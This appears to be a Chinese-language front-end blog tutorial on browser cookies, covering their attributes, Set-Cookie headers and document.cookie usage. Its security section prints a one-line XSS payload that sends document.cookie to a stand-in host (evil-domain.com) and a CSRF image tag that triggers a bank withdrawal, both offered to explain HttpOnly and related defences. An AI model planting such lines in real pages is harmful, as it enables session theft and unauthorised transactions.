前端須知的 Cookie 知識小結

Gping發表於2019-05-10

cookie 是什麼和使用場景

cookie 是伺服器端儲存在瀏覽器的一小段文字資訊,瀏覽器每次向伺服器端發出請求,都會附帶上這段資訊(不是所有都帶上,具體的下文會介紹)

使用場景:

  • 對話管理:儲存登入、購物車等需要記錄的資訊
  • 個性化:儲存使用者的偏好,比如網頁的字型大小、背景色等等
  • 追蹤:記錄和分析使用者的行為

以上用得較多的還是第一種場景。

我們有時候用 cookie 作為客戶端儲存,可行但不推薦。因為 cookie 本身大小有所限制,而且會影響效能。儲存還是應該考慮localStoragesesseionStorage 或者 indexDB

cookie 的幾個重要屬性

在瞭解各個屬性之前,我們先開啟瀏覽器除錯——Application——Cookies——選中一個域

上面就會有這些 cookie 的名稱,值,DomainPathExpires/Max-ageSizeHTTPSecure

前端須知的 Cookie 知識小結

我們接下來就是要講這裡面幾個重要的點

Expires 和 Max-Age

這兩個屬性涉及到 cookie 的存活時間

Expires 屬性指定一個具體的到期時間,到了這個指定的時間之後,瀏覽器就不再保留這個 cookie ,它的值是 UTC 格式,可以使用 Date.prototype.toUTCString() 格式進行轉換

設定如下:

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
複製程式碼

Max-Age 屬性制定了從現在開始 cookie 存在的秒數,比如 60 * 60 * 24 * 365(即一年)。過了這個時間以後,瀏覽器就不再保留這個 Cookie

Max-Age 的優先順序會比 Expires 的高,主要的原因 Max-Age 所受的外界因素(比如客戶端的時間可能有誤)比較小。

如果兩者都不設定的,那麼這個 cookie 就是Session Cookie,也一旦關閉瀏覽器,瀏覽器就不會保留這個這個 cookie

Domain 和 path

這兩個屬性決定了,HTTP 請求的時候,哪些請求會帶上哪些 Cookie,具體下面會做講解。

Secure 和 HttpOnly

Secure 屬性指定瀏覽器只有在加密協議 HTTPS 下,才能將這個 Cookie 傳送到伺服器。另一方面,如果當前協議是 HTTP,瀏覽器會自動忽略伺服器發來的 Secure 屬性。該屬性只是一個開關,不需要指定值。如果通訊是 HTTPS 協議,該開關自動開啟。

設定了 Secure 這個屬性,那麼就會在 Secure 這一欄打鉤

前端須知的 Cookie 知識小結

HttpOnly 屬性指定該 Cookie 無法通過 JavaScript 指令碼拿到,主要是Document.cookie 屬性、XMLHttpRequest 物件和Request API都拿不到該屬性。這樣就防止了該 Cookie 被指令碼讀到,只有瀏覽器發出 HTTP 請求時,才會帶上該 Cookie

設定了 HttpOnly 這個屬性,那麼就會在 HTTP 這一欄打鉤

前端須知的 Cookie 知識小結

cookie 和 HTTP 協議

HTTP response——cookie 生成

如果伺服器端希望在瀏覽器種 cookie,那麼它只需要在 HTTP 請求頭資訊中,放置一個 Set-Cookie 的欄位。舉個例子:

Set-Cookie:foo=bar

那麼就會在瀏覽器種儲存一個名為 foo,值為 barcookie

除了值之外,還可以設定其他的屬性

Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
複製程式碼

當然,一個 Set-Cookie 欄位是可以同時包含多個屬性(而且沒有次序要求),如下所示:

Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
複製程式碼

注意一點就是,如果你想要使用 Set-Cookie 修改一個已經存在的 cookie 的值,那麼要注意,你必須匹配原有的所有的屬性值(如果存在的話),否則就會生成一個新的 cookie,而不是修改它的值

比如,原有的 cookie 為:

Set-Cookie: key1=value1; domain=example.com; path=/blog
複製程式碼

那麼你正確的修改方式應該是:

Set-Cookie: key1=value2; domain=example.com; path=/blog
複製程式碼

如果你的修改方式如下的話:

Set-Cookie: key1=value2; domain=example.com; path=/
複製程式碼

就會在瀏覽器端設定兩個同名的 cookie 如下:

Cookie: key1=value1; key1=value2
複製程式碼

這不是我們希望看到的!

HTTP request——cookie 傳送

這裡涉及到一個問題,是不是每個請求我們都會帶上所有的 cookie,顯然不是的,要不效能就會十分低下了。那麼瀏覽器是根據什麼判別哪些請求會帶上哪些 cookie 呢?

這就跟 Domainpath 屬性息息相關了

比如,現在一個 cookie 它的 Domain 屬性為 www.example.compath 屬性值為 /。意味著,這個 cookie 對該域的根路徑以及它的所有子路徑都有效。如果我們修改了它的 path 值,為 /forums,那麼這個 cookie 只要在訪問 www.example.com/forums 及其子路徑時才會帶上。

cookie 和安全

會話劫持和XSS

Web 應用中,cookie 常用來標記使用者或授權會話,如果這些資訊(cookie)會被竊取,可能導致授權使用者的會話從而網頁收到攻擊,比如:

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
複製程式碼

HttpOnly 型別的 cookie 就可以組織 Js 對其的訪問從而緩解這種攻擊

跨站點請求偽造(CSRF)

比如某個網站的圖片如下:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
複製程式碼

當你開啟這個圖片的時候,如果你登入之前的銀行賬號而且 cookie 仍然有效(還沒有其他驗證的步驟,有點極端),那麼你的賬戶就有可能有危險了。

cookie 自動刪除和手動刪除

在瞭解 cookie 自動刪除之前,我們先來了解小 cookie 的一些限制條件:

  • 傳送到伺服器端的所有 cookie 的最大數量不能超出 4kb,所有超出該限制的 cookie 都會被截斷並且不會傳送到伺服器端。
  • IE7 以後限制每個域名下 cookie 的數量不得超過 50 個,Opera 限定 cookie 的數量為 30個,SafariChrome 就沒有這種限制。

其限制的原因,主要在於阻止 cookie 的濫用,而且 cookie 會被髮送到伺服器端,如果數量太大的話,會嚴重影響請求的效能。以上這兩個限制條件,就是 cookie 為什麼會被瀏覽器自動刪除的原因了。

自動刪除主要存在以下幾種可能:

  • 會話 cookie(session cookie)在會話結束的時候(瀏覽器關閉)會被刪除
  • 持久化 cookie(Persistent cookie)在到達失效日期的時候會被刪除
  • 瀏覽器的 cookie 達到上限,會自動清除,然後為新建的 cookie 騰出空間

document.cookie

對於前端而言,我們獲取 cookie 和設定 cookie 都是通過 document.cookie 的方式進行的。

讀取 cookie

獲取如下(當然是這個 cookie 沒有 HttpOnly 屬性)

前端須知的 Cookie 知識小結

可以看到,document.cookie 是將所有的可以讀的 cookie 一次性讀出來的,使用分號分割,所以必須手動的分割

var cookies = document.cookie.split(';');

for (var i = 0; i < cookies.length; i++) {
  console.log(cookies[i]);
}
// foo=bar
// baz=bar
複製程式碼

寫入cookie

我們可以通過 document.cookie 為當前的網站新增 cookie

document.cookie = 'fontSize=14';
複製程式碼

寫入的時候,Cookie 的值必須寫成 key=value 的形式。注意,等號兩邊不能有空格。另外,寫入 Cookie 的時候,必須對分號、逗號和空格進行轉義(它們都不允許作為 Cookie 的值),這可以用 encodeURIComponent 方法達到。

但是,document.cookie一次只能寫入一個 Cookie,而且寫入並不是覆蓋,而是新增。

document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world
複製程式碼

寫入 Cookie 的時候,可以一起寫入 Cookie 的屬性。

例如:

document.cookie = 'fontSize=14; '
  + 'expires=' + someDate.toGMTString() + '; '
  + 'path=/subdirectory; '
  + 'domain=*.example.com';
複製程式碼

刪除 cookie

刪除一個現存 Cookie 的唯一方法,是設定它的 expires 屬性為一個過去的日期。

document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';
複製程式碼

參考

javascript.ruanyifeng.com/bom/cookie.…

developer.mozilla.org/zh-CN/docs/…

segmentfault.com/a/119000000…

javascript.ruanyifeng.com/bom/cookie.…

歡迎大家關注我的公眾號

前端須知的 Cookie 知識小結

相關文章